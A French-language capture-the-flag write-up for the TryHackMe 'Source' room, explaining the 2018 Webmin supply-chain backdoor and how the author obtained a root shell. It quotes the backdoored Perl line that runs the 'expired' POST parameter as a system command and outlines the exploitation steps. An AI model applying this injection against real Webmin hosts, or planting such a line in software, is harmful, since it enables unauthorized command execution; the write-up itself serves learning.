Un write-up sur la room TryHackMe Source & un script Python pour exploiter la vulnérabilité

Vulnérabilité

1. Historique
Webmin est un outil web pour l'administration de systèmes de type Unix. À un moment donné au premier trimestre 2018, Webmin a subi une attaque sur la chaîne d'approvisionnement lors de laquelle un attaquant inconnu a réussi à insérer du code malveillant dans le fichier password_change.cgi, créant une vulnérabilité permettant d'ouvrir une backdoor sur tout système hébergeant cette version de Webmin (1.890) avec la configuration par défaut. J'appelle cela une attaque sur la chaîne d'approvisionnement car les développeurs/distributeurs du logiciel ont vu le code source de leur produit compromis. Lorsque le fournisseur a publié le produit compromis, tous ceux qui ont mis à jour leur logiciel se sont retrouvés avec le code vulnérable, donnant ainsi à l'attaquant la possibilité de compromettre tout système exécutant ce code désormais vulnérable. La même année, les développeurs de Webmin ont réalisé ce qui s'était passé et ont rétabli le fichier dans son état d'origine, mais l'attaquant a pu réinsérer le code une nouvelle fois. Cette fois-ci, le code n'était vulnérable que si l'option de changement des mots de passe expirés était activée. Cette vulnérabilité ne sera découverte qu'en août 2019. Elle a été corrigée dans la version 1.930 de Webmin.

2. Le code
Après quelques recherches, j'ai réussi à trouver la ligne de code qui rendait Webmin version 1.890 vulnérable à l'injection de commandes. J'avais du mal à trouver les bonnes informations car il existe en fait deux CVE différentes associées à ce problème (CVE-2019-15231/CVE-2019-15107). CVE-2019-15231 concerne la vulnérabilité de configuration par défaut dans la version 1.890 et CVE-2019-15107 concerne la vulnérabilité nécessitant l'activation de l'option de changement des mots de passe expirés dans les versions jusqu'à 1.920. Regardons le code de la version 1.890. À la ligne 12 du fichier password_change.cgi, nous avons la ligne de code suivante :
$in{'expired'} eq '' || die $text{'password_expired'},qx/$in{'expired'}/;
Au moment où j'écris ces lignes, je n'ai jamais rien écrit en Perl. Nous allons disséquer cette ligne de code à l'aide de moteurs de recherche pour mieux comprendre ce que fait le code et pourquoi il est vulnérable à l'exploitation. Le premier morceau de code à gauche de l'opérande || semble être une variable ($in) qui prend un paramètre (expired) et vérifie s'il est égal (eq) à une chaîne vide ''. Au milieu, nous avons l'opérande ||. Le || est une autre façon d'utiliser l'opérande logique or en Perl. Lorsqu'on utilise || en Perl, si le côté gauche de l'opérande est vrai, le côté droit ne sera pas évalué. Si le côté gauche est faux, alors le côté droit sera évalué. Dans la première moitié du code à droite de l'opérande ||, nous voyons die $text{'password_expired'}. En Perl, die est une fonction qui va tuer le processus du script et afficher un message d'erreur. Le message serait vraisemblablement la variable $text indiquant que le mot de passe a expiré. La dernière partie du code est là où ça devient intéressant. Nous voyons que nous avons une virgule , suivie de qx/$in{'expired'}/ et d'un point-virgule ; qui termine la ligne de code. La virgule agit comme un séparateur pour le code ; la moitié gauche sera évaluée en premier, puis la seconde moitié sera évaluée. En Perl, qx est une fonction qui permet d'exécuter des commandes système sur l'hôte. Les // sont des délimiteurs utilisés pour identifier le paramètre. Dans ce cas, nous avons qx/$in{'expired'}/ qui exécutera le paramètre $in{'expired'} comme une commande système. Je pense que la variable $in pourrait être similaire à $_GET en PHP pour la raison suivante. Dans le script d'exploitation que j'ai écrit, nous avons un paramètre appelé expired qui stocke la payload avant de l'envoyer au serveur via une requête POST. Voici à quoi ressemble ce code : data = {'expired':payload,}. La variable $in doit faire quelque chose pour récupérer la valeur que nous avons définie pour expired afin que la payload soit exécutée par la fonction qx. Pour conclure cette section, la ligne de code vulnérable constate que notre paramètre expired dans la requête POST n'est pas égal à une chaîne vide, donc l'opérande || va maintenant évaluer la moitié droite du code et exécuter notre payload stockée dans le paramètre expired. Passons maintenant au write-up pour la salle Source de TryHackMe.com.

Le Write-Up

Commençons par un scan de ports. Nous utiliserons rustscan pour avoir une vue d'ensemble car nmap peut être terriblement lent.

Il semble que nous ayons 2 ports ouverts, 22 et 10000. Nous allons maintenant utiliser nmap pour déterminer quels services tournent sur chaque port.

Donc nous avons SSH sur son port standard et un service HTTP sur le port 10000. Naviguons vers la page s'exécutant sur le port 10000 et voyons ce qu'il y a.

Vous devrez utiliser HTTPS et ignorer l'avertissement de certificat SSL pour accéder à cette page. Il semble que nous ayons une page de connexion pour le service Webmin. Quand j'ai initialement fait ce challenge, j'ai tenté quelques attaques de brute-force de répertoires, mais rien d'intéressant n'est apparu. Voyons s'il existe une vulnérabilité pour la version de webmin que nous avons obtenue du scan nmap via searchsploit.

Il semble que nous ayons quelques options différentes ici, mais aucune ne correspond à notre version. Ouvrons MSF et voyons ce que nous avons à disposition.

Nous avons plusieurs options parmi lesquelles choisir. Recherchons la version de webmin que nous avons obtenue de nmap et voyons si des CVE apparaissent pour nous aider à affiner.

Dans le résumé de la vulnérabilité, nous voyons qu'il est fait mention du fichier password_change.cgi. Utilisons le numéro 5 de notre recherche MSF car il mentionne également le fichier password_change.cgi ainsi que la même date de divulgation.

Lol, nous n'allons pas réellement utiliser MSF. MSF est bien, mais ce n'est pas aussi amusant que de comprendre comment exploiter quelque chose avec son propre code ! J'ai utilisé le code source Ruby comme référence pour cet exploit afin de créer mon propre code d'exploitation en Python. Utilisons plutôt celui-ci !

Bada-bing Bada-boom, nous avons un shell root dans la salle ! Je ne vais pas révéler les flags. Je suis sûr que vous pouvez les trouver ! Merci d'avoir lu et bonne journée !